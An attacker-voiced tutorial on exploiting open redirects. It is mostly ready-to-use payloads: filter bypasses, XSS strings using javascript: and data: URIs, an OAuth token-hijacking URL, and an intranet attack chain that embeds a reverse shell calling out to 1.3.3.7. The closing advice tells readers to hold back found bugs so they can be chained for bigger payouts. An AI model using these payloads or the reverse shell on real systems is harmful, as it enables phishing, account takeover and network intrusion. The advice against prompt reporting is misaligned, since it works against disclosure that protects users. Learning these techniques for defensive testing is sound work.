The following is a tutorial covering the basics of open redirects, including some generic bypasses and various tricks that can be used to increase their exploitability value. Part #2 will be a lot more in-depth and will include a number of my private bypasses, although I will still be covering some useful information in Part #1 too.


Overview:

Open redirects are simply links where you can specify a link to a remote URL from a trusted URL and it will redirect the user there without a warning, which can lead to spear phishing among other risks (cross site request forgery, cross site scripting and other things). The primary security risk of an Open Redirect is that it abuses the trust that the end-user has within the domain in question. They could see a URL from a trusted domain, and after they click on it they could be entirely unaware of the fact that they are being taken to another site. Open Redirects are often seen used in spear phishing campaigns in order to make such attacks more effective at deceiving the user.

here is an example:

http://trusted-site.com/redirect?url=http://evil.com/

Below you can find some common parameter names that are often vulnerable to open redirection:

  • ?url=
  • ?link=
  • ?redirect=
  • ?redirecturl=
  • ?return=
  • ?return_to=
  • ?returnurl=
  • ?go=
  • ?goto=
  • ?exit=
  • ?exitpage=
  • ?fromurl=
  • ?fromuri=
  • ?redirect_to=
  • ?next=
  • ?newurl=
  • ?redir=

The list above is by no means exhaustive, but it should give you an example of what kind of parameter names to look out for that could potentially suffer from open redirection.

Sometimes, a website will only allow you to redirect to trusted domains, in which case it may sometimes be possible to find additional redirects on those trusted domains, chaining them together in order to reach your final site of choice. Here are some examples of this:

http://accounts.youtube.com/accounts/SetSID?ilo=1&ils=a4cc1b7ed445598f16cef403bb3b0311&ilc=0&continue=https://maps.app.goo.gl/?link=http://evil.com

https://www.google.com/accounts/Logout?continue=https://appengine.google.com/_ah/logout?continue=http://evil.com

As a defense against open redirection, websites will sometimes assign a string of letters and/or digits unique to the URL that is included as a separate parameter (think of it as a hash, although this isn’t always the case). If the URL you’re redirecting to doesns’t match the hash, then the redirect won’t take place. If this is properly implemented, then it can be extremely difficult or near-impossible to circumvent – good news (for hackers) is that this is often improperly implemented. Sometimes the hash can be generated at the client-side rather than server-side (generally through JavaScript). This means it is possible to see how it is generated and therefore generate your own hashes that correspond with the domain you’re trying to redirect to. In some cases, the ‘hash’ assigned as a parameter which is required to match up with the domain you’re redirecting to, is not a hash at all. It can sometimes be something as simple as a base64 encoded string of the domain name (in which case you can just base64 encode the domain you’re redirecting to and replace the parameter with that). Sometimes it’s easily-decoded like base64, but some tricks are thrown in by the devs in pitiful attempts at creating entropy (for example, I’ve seen cases where the ‘hash’ has been a reversed base64’d string, or it could be a base64’d string that has had a ceaser shift (such as ROT13) applied to the alphanumeric characters making up the string.


Some bypass methods:

// can be used in place of http:// like so:

//evil.com

It can be more than just two slashes:

////evil.com

If forward slashes are being filtered:

https:evil.com

browsers will treat \/\/ the same as //:

\/\/evil.com/

those slashes can go either way:

//\/\/evil.com

Nullbytes can sometimes be used to defeat filters:

//evil.com%00

CR/LF can be used in a similar manner:

//evil%0a%0d.com

You can perform redirection by tricking the browser into thinking it’s going to be logging into another site this method isn’t ideal because it will prompt the user:

http://evil.com@randomsite.com

Percent Encoding:

%65%76%69%6c%2e%63%6f%6d

Base64 Encoding:

ZXZpbC5jb20=

Browsers such as firefox have a feature that normalizes input, causing 。 to be rendered as . :

//evil。com

Same as above, but with encoding:

%2F%2Fevil%E3%80%82com

It should also be noted that this can be applied to any of the characters in the domain you’re redirecting to, so the following would also be normalized by firefox and a few other browsers, like so:

//ⓔⓧⓐⓜⓟⓛⓔ.ⓒⓞⓜ

If certain sites are whitelisted, you can add them via an arbitrary GET parameter to confuse the filter:

http://evil.com/?x=http://trusted-website.com/

Same as above, but with whitelisted site as directory name:

http://evil.com/trusted-site.com/

http://evil.com@trusted-site.com/

Another thing to bear in mind is that if certain sites are whitelisted then you can search for an open redirect in the whitelisted site then chain the two redirects together, like used in the example at the start of this article.

HTTP Param Pollution May also be used to bypass filters and allow redirection to take place, for example if the vulnerable URL is http://example.com/redir.php?url=http://evil.com but it doesn’t redirect then you could attempt to call the same GET param twice e.g. http://example.com/redir.php?url=http://evil.com&url=http://evil.com/ – or you could try calling a valid website for the first GET param and the intended website to redirect to as the other param like so: http://example.com/redir.php?url=http://safe.com&url=http://evil.com

Part #2 of this guide will include a much more comprehensive list of bypass methods, including many private ones. For the rest of this guide, I’m going to cover a few more bypasses that don’t rely on filter evasion, then I’m going to detail a few scenarios wherein the impact of an open redirect could be increased drastically.


Bypassing via right-to-left override:

This is a relatively old and well-documented method (first discussed in an issue of GNY) but it can still prove effective for bypassing filters in place to prevent Open Redirection. Certain Unicode characters can result in what is called a “right-to-left-override” causing the text to be flipped. Some examples of these characters are Arabic letters (due to the fact Arabic is written and read from right-to-left rather than the conventional left-to-right that most are used to)

For example, the (url encoded) characters %40%E2%80%AE will result in bytes being flipped from left to right. This can be used in some caess to deceive redirect filters into being bypassed. An example would be if a filer only accepted trusted.com to redirect to. RTLO could be performed in order to flip the bits, confusing some filters that exist. A payload like so could be crafted:

https://evil.com%40%E2%80%AE@moc.detsurt

In the above case, the RTLO chars will result in a flip wherein the valid (whitelisted) DNS is displayed, but redirection to the non-permitted domain (likely controlled by the attacker) will take place. In the above example, that means moc.detsurt will be flipped and interpreted as trusted.com. A common unicode character for testing RTLO is U+202E.


pro tip: you can occasionally find interesting unrelated vulnerabilities by methods like this, such as address bar spoofing.

pro tip #2: this is sometimes employed by malware authors to make a suspicious file extension look innocent. For example, song[RTLO]3pm.exe, if vulnerable, once flipped, would be viewed as songexe.mp3 – appearing to be an innocent-looking MP3 file rather than a malicious binary executable


Bypassing via obscure server-sided input normalization setups:

This method is relatively uncommon, but, for some strange reason, sometimes developers think it’s a good idea to normalize inputs on the server side. In the case of open redirection, this can be used to circumvent some whitelist-based filters. Take the following scenario:

  • Vulnerable website sillydevs.com has a redirect feature.
  • Redirect feature in question has a whitelist in place, allowing only redirects to sillydevs.com to be made
  • There is some form of input normalization on the server, so letters that look the same but have different unicode values are normalized (so for example, e and е are treat the same, despite them having different values)
  • An attacker can then set sillydеvs.com as the value for the redirect parameter. Due to inputs being normalized this will be treated as sillydevs.com – despite both of these URL’s looking identical to the naked eye, one contains the letter ‘e’ from a different alphabet. If inputs weren’t being normalized, this would be flagged as not part of the whitelist, but in cases where input normalization is implemented incorrectly, it will slip through and the redirect will be successful.
  • Instead of redirecting to sillydevs.com, it is redirecting to xn--sillydvs-h8g.com, a website which could be controlled by the attacker – For more information on how this is the case, look into IDN Homograph Attacks.


Turning Open Redirects into XSS:

For part #1, I’m only going to be covering some of the basic bypasses here. Within part #2 I shall expand on this section drastically.

Here is the most obvious one, direct redirect to js:// uri schema:

javascript:alert(1337)

alert.call can also be used:

javascript:alert.call(this,%20document.domain)

of course if alert is filtered you can attempt using ‘prompt’, ‘confirm’, etc.

If parenthesis trigger WAF, you can use template strings:

javascript:confirm`1337`

In order to access document domain, document cookie etc via template strings you can use one of two methods, this first one is the most elegant (thanks to @fransrosen for this one!):

javascript:prompt`${document.domain}`

If the above method doesn’t work for some reason, this can also be achieved via setInterval:

setInterval`alert\%0A28document.domain\%0A29`//

CRLF can also be used to circumvent WAF:

javascr%0a%0dipt%0a%0d:alert`1337`

Like above, splitting with line feeds:

j%0aa%0av%0aa%0as%0ac%0ar%0ai%0ap%0at:alert`1337`

Sometimes you can redirect to javascript:// then use CRLF to trigger an alert like so (note in this case ‘example.com’ needs to be the site you’re attempting to trigger the XSS on:

javascript://example.com/%0Aalert`1337`

If the supplied URL is reflected to the page source within the context of a script tag (e.g. loaded into a script tag as value for document.location) then you can use the following payload to break out of the script tag and trigger an alert:

“;alert(0);//

Also I’ve found a payload that works commonly with redirect-related parameters is the following (test these ones out if you havent yet figured out where it’s landing (for example rather than being purely DOM-based it could be getting reflected into a javascript snippet in the source, and then performing the redirect via that JS. :

‘-confirm(0)-‘

If none of the above methods are working and attempting to redirect to js:// uri is throwing a corrupted content error or HTTP 500, then you can instead attempt to redirect to a data uri like so:

data:text/html,<script>alert(1337)</script>

If the HTML tags are triggering a WAF response, then you can also base64 encode the input for the URI like so:

data:text/html;base64,PHNjcmlwdD5hbGVydCgxMzM3KTwvc2NyaXB0Pg==

Obfuscation can be applied to data: URI’s but not if it is via direct redirection to a data: URI through a URL parameter. If you had an instance where the URL to redirect to was loaded into a hyperlink, iframe, or something similar, then you can use newlines and forward/backslashes in order to obfuscate the data: URI. Below is an example of that:

da\r\nta:text/\html\;base64,PHNjcmlwdD5hbGVydCgxMzM3KTwvc2NyaXB0Pg==

pro tip: you can use a data: URI with a content-type of text/javascript in order to host your JS payload. This is extremely useful in cases where you’re having trouble linking to a payload with a remote .js file

Note how the example below displays the payload as it would were it a remote .js file, rather than executing the payload within your browser:

data:text/javascript,alert(‘your payload’)

pro tip #2: ecmascript can be used in place of javascript to achieve to same end result. The aforementioned obfuscation techniques can also be applied, like so:

import(‘da\r\nta:text/\ecmascript\,alert%601%60’)

Now it should be noted that the methods above using data: is technically not XSS (as the script is loaded within a null context rather than the context of the target site) it can still be used for spear phishing among other things and poses more of a risk than a regular open redirect (although a lesser risk than XSS) – It should also be noted that if padding is added to the URI then you can make the browser display ‘data:’ or even a blank address bar, which looks like suspicious than a bunch of base64 encoded inputs. With some extra tricks you can also make it look like its displaying the valid origin URL (e.g. http://example.com/data:text/html;base64,blahblah) which can easily trick the regular computer user.


“Persistent” Open Redirection:

Think of this as the difference between a non-persistent XSS and a stored XSS, except it is redirection rather than execution of JavaScript taking place. The most common (and obvious) case of this would be an instance where (stored) HTML Injection was possible but you were limited to specific tags and event handlers were blacklisted, preventing XSS (JavaScript execution) from being an option. In cases like this, an attacker could use the tag to achieve persistent redirection through means of a HTML redirect. Every time an unsuspecting victim clicked the page, it would result in them being redirected to a different domain (likely controlled by the attacker).

A less common form of this can be through a website’s functionality. Custom RSS feeds are a good place to check for this. For example, SoundCloud had a feature where you could specify a remote URL as your RSS feed, but it had no way of checking whether the user-supplied URL was indeed an RSS feed and not a malicious link. So through means of this feature, an attacker could generate a ‘persistent’ open redirect which would then redirect anyone who visited that page. This is now patched, but here is an example of a URL where this was possible: http://feeds.soundcloud.com/users/soundcloud:users:159318733/sounds.rss – this is a typical example of where a developer decided to make a trade-off between functionality and security.

 


Account Takeovers via Open Redirection:

Account Takeovers are a possibility through open redirects, most commonly through CSRF performed as a result of the victim clicking your URL. Of course this depends entirely on the functionality available to the victim of said CSRF attack. One method of hijacking accounts through Open Redirects is via theft of Oauth tokens. That in itself is a relatively large topic so we won’t delve too deep into it here.

If the website in which you have an open redirect in also happens to have a Facebook application, and if that application also happens to be improperly configured, then hijacking Oauth tokens is a relatively simple process. To give a quick overview, Facebook takes two parameters for Oauth, the client_id and redirect_uri – the redirect_uri parameter must be whitelisted to the corresponding client ID. If you find an open redirect in a website that has a misconfigured Facebook application, then it is potentially possible to hijack the applications Oauth token. After finding the Open Redirect, you would set it up so that it redirects to your site like so:

http://victim-website.com/redirect.php?url=http://evil.com

You would then make a request to Facebook, including the client ID for the application tied to the site you’re exploiting, alongside a path to that site with a redirect to your own evil site as the value for the redirect_uri paraameter. In order for this to work, the value for redirect_uri must be urlencoded, although in the example below, urlencoding has not been applied (this is to make it easier for you to read):

https://www.faceb00k.com/dialog/oauth?client_id=%5BID%5D&response_type=code&redirect_uri=http://victim-website.com/redirect.php?url=http://evil.com

The response_type parameter can take two values, either code or token – try the request using both of them. If ‘token’ doesnt work then use ‘code’ and vice versa. Generally both will work, although they will yield different results

This section is yet another section that will be covered a lot more in-depth within Part #2 of this guide.


Using Open Redirects to exploit otherwise unreachable vulnerabilities:

Open Redirects can cause mayhem when used as a CSRF vector targeted at employees who are using machines in a LAN/Intranet environment, especially if the attacker has prior knowledge of the systems in use. If properly executed, this can lead to a full blown compromise of a companies internal network (note that this can also be achieved via XSS, SSRF, and some other methods. It’s just less commonly utilized with redirects)

Observe the following diagram:

Openredir.png

Now, consider the following scenario:

Let’s assume a hacker communicates with an employee of a company via their live chat system. The employee is currently connected to their internal corporate network whereas the attacker is on the internet. For the sake of this description, the employees site can be called bookface.com. The attacker knows that within the employees corporate network there is an application running on localhost port 7777 which is vulnerable to Remote Command Execution. With that in mind, consider the following scenario:

  • Attacker identifies an Open Redirect in bookface.com
  • Attacker knows that live chat employees for bookface.com are connected to their corporate network
  • Attacker has prior knowledge of the vulnerable application running locally on the corporate network
  • With this knowledge at hand, the attacker could could craft the following payload

http://bookface.com/redirect.php?url=127.0.0.1:7777/syscall.cgi?cmd=;bash -i >& /dev/tcp/1.3.3.7/8080 0>&1

  • When the employee clicks the URL (I mean, bookface.com is their site – why wouldn’t they trust it?), it redirects them to the vulnerable application running locally within their network, and executes a command to spawn a shell for the attacker
  • Attacker now has a foothold within the network due to exploitation of a vulnerability that wouldn’t have been possible without prior access to the network (by having the employee unintentionally trigger the payload for them)

Of course, obfuscation would be used in a real life scenario like this. The above example is just for demonstration purposes.


Some other potential vulnerabilities in redirect parameters:

n addition to redirect parameters being vulnerable to Cross Site Scripting in some cases, there are also a few other vulnerabilities commonly associated with redirect parameters. Open redirects can be utilized to perform Cross Site Request Forgery and in cases where redirects to local resources are permitted, Server Sided Request Forgery is a possibility. For example, if a URL parameter is vulnerable to Open Redirection, it is often worthwhile to test for SSRF vulnerabilities by attempting to redirect to a URI scheme local to that of the server (e.g. if the server is running SFTP, you could attempt to redirect to sftp://evil.com:11111/ or you could attempt to probe local services running on the server by attempting to redirect to something such as http://127.0.0.1:25 (in order to disclose the SMTP daemon)

Final words of advice: sometimes it’s best to hold onto your Open Redirects rather than report them as soon as you find them, as in some cases they can be combined with other bugs as part of an exploit chain in order to result in higher payouts

As stated within this tutorial, I’ll be expanding upon each of these sections a lot more in-depth for Part #2, in addition to me covering a few new sections which I haven’t yet mentioned here.